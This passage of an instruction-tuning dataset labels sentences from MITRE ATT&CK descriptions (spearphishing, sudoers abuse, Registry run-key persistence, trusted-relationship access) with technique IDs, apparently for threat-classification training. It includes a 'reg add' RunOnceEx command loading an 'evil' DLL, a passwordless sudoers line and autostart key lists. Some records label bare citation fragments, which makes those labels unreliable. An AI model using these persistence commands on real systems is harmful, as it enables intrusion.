capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces. ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have been notable incidents where internal spearphishing has been used.", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have been notable incidents where internal spearphishing has been used. ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017)", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials.", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.) ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals.", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This also describes which commands users can run as other users or groups.", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This also describes which commands users can run as other users or groups. ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password.", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL)", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges.", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "You must have elevated privileges to edit this file though.", "output": "T1169", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: You must have elevated privileges to edit this file though. ### Response: T1169."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the binaries used by services. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These service processes may automatically execute specific binaries as part of their functionality or to perform other actions.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "output": "T1574.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ### Response: T1574.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs will be executed under the context of the user and will have the account's associated permissions level.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs will be executed under the context of the user and will have the account's associated permissions level. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation:", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx:", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018) ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Placing a program within a startup folder will also cause that program to execute when a user logs in.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Placing a program within a startup folder will also cause that program to execute when a user logs in. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can add other programs or processes to this registry value which will automatically launch at boot.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can add other programs or processes to this registry value which will automatically launch at boot. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "output": "T1547.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. ### Response: T1547.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may breach or otherwise leverage organizations who have access to intended victims.", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may breach or otherwise leverage organizations who have access to intended victims. ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments.", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security).", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise.", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation:", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA IT Service Providers)", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA IT Service Providers) ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions.", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation:", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Office 365 Delegated Administration)", "output": "T1199", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Office 365 Delegated Administration) ### Response: T1199."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create an account to maintain access to victim systems.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create an account to maintain access to victim systems. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the 